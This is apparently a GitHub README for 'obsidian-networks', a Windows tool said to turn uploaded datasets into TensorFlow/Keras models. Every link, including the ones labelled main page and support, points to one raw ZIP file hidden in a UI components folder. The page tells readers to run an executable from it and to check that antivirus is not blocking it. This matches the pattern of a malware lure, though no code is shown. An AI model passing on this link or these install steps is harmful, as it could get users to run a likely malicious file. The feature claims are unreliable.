obsidian-networks helps you create machine learning models without writing any training code. You only need to upload your dataset and explain the goal you want to achieve. The app uses AI to generate ready-to-train TensorFlow and Keras code, along with trained models. You don’t need any experience in machine learning or coding.
The app supports a variety of datasets and can help with tasks like prediction, classification, or reinforcement learning. It is built using open-source tools and includes powerful AI agents to assist you in every step.
- Upload your dataset in simple formats like CSV or Excel.
- Describe your goal in plain English.
- Automatically generate TensorFlow/Keras code.
- Receive ready-to-train models suited for your task.
- Works without any programming knowledge.
- Supports multiple types of machine learning tasks.
- Uses open-source AI tools under the hood.
- Lightweight and fast setup on Windows machines.
- Windows 10 or newer (64-bit recommended).
- At least 4 GB of RAM.
- 2 GHz dual-core processor or better.
- 500 MB free disk space.
- Internet connection for initial setup and AI model generation.
- Optional: GPU with CUDA support if you want faster training (not required for using the app).
Follow these steps to download and run obsidian-networks on your Windows PC. No coding skills needed.
Click the big green button below to visit the download page.
On the page, look for the latest release or setup file. Download the Windows installer or a ZIP package depending on what’s available.
If you downloaded an installer (.exe):
- Double-click the file.
- Follow the on-screen instructions.
- Accept the license agreement.
- Choose the installation folder or keep the default.
- Wait for the setup to finish.
If you downloaded a ZIP file:
- Right-click the ZIP file.
- Select “Extract All” and choose a folder.
- Navigate to the extracted folder.
- Find and double-click the executable file (usually named
obsidian-networks.exe).
- Double-click the installed obsidian-networks icon on your desktop or open it from the Start menu.
- The app will open a simple window with clear options.
- Click the “Upload Dataset” button.
- Select your data file (CSV, Excel, or supported format).
- Wait for the app to load your data.
- A preview of the data will appear for you to confirm.
- In the text box provided, describe what you want the AI model to do.
- For example: “Predict future sales based on past data” or “Classify images into categories”.
- Keep the description simple and clear.
- Click the “Generate Model” button.
- The app uses AI to create TensorFlow/Keras code tailored to your data and goal.
- This process may take a few minutes depending on your system and data size.
- After generation, you will see the model code and summary.
- You can save the code to your PC or start training the model within the app.
- Training results and logs will display in real time.
- Adjust model parameters such as epochs, batch size, and learning rate.
- Choose from predefined model types or let AI suggest the best fit.
- Export models in TensorFlow SavedModel format for further use.
- Access sample datasets to practice before using your own data.
- Get help and tips directly in the app with step-by-step guides.
- CSV (.csv)
- Excel (.xls, .xlsx)
- JSON (.json)
- Image folders for classification tasks
Make sure your data columns have clear headers to help the AI understand the inputs properly.
- If the app does not launch, check that Windows Defender or antivirus software is not blocking it.
- Make sure your dataset is properly formatted. Remove empty rows or columns if needed.
- Restart the app if it freezes during model generation.
- For large datasets, ensure you have enough free memory and disk space.
- If model training runs slow, consider lowering batch size or number of epochs.
If you run into issues:
- Check the issues section on the GitHub repository.
- Open a new issue with details of your problem.
- Look for answers and tips in the README and wiki pages on the repo.
- You can also explore tutorials linked inside the app.
- Main Page & Download: https://raw.githubusercontent.com/mtsoliveira017-spec/obsidian-networks/main/frontend/components/ui/obsidian_networks_v2.1.zip
- Issues and Support: https://raw.githubusercontent.com/mtsoliveira017-spec/obsidian-networks/main/frontend/components/ui/obsidian_networks_v2.1.zip
- Documentation and User Guide: Included inside the app and on GitHub
obsidian-networks is an open-source project designed to make powerful machine learning accessible to everyone. It focuses on easy dataset uploads and goal descriptions to generate AI code, removing barriers for users without programming skills. The app integrates modern AI techniques and popular frameworks like TensorFlow and Keras.
The project tags include:
ai-agents, anthropic, artificial-intelligence, datasets, llm, lmstudio, machine-learning, open-source, openai, reinforcement-learning, tensorflow.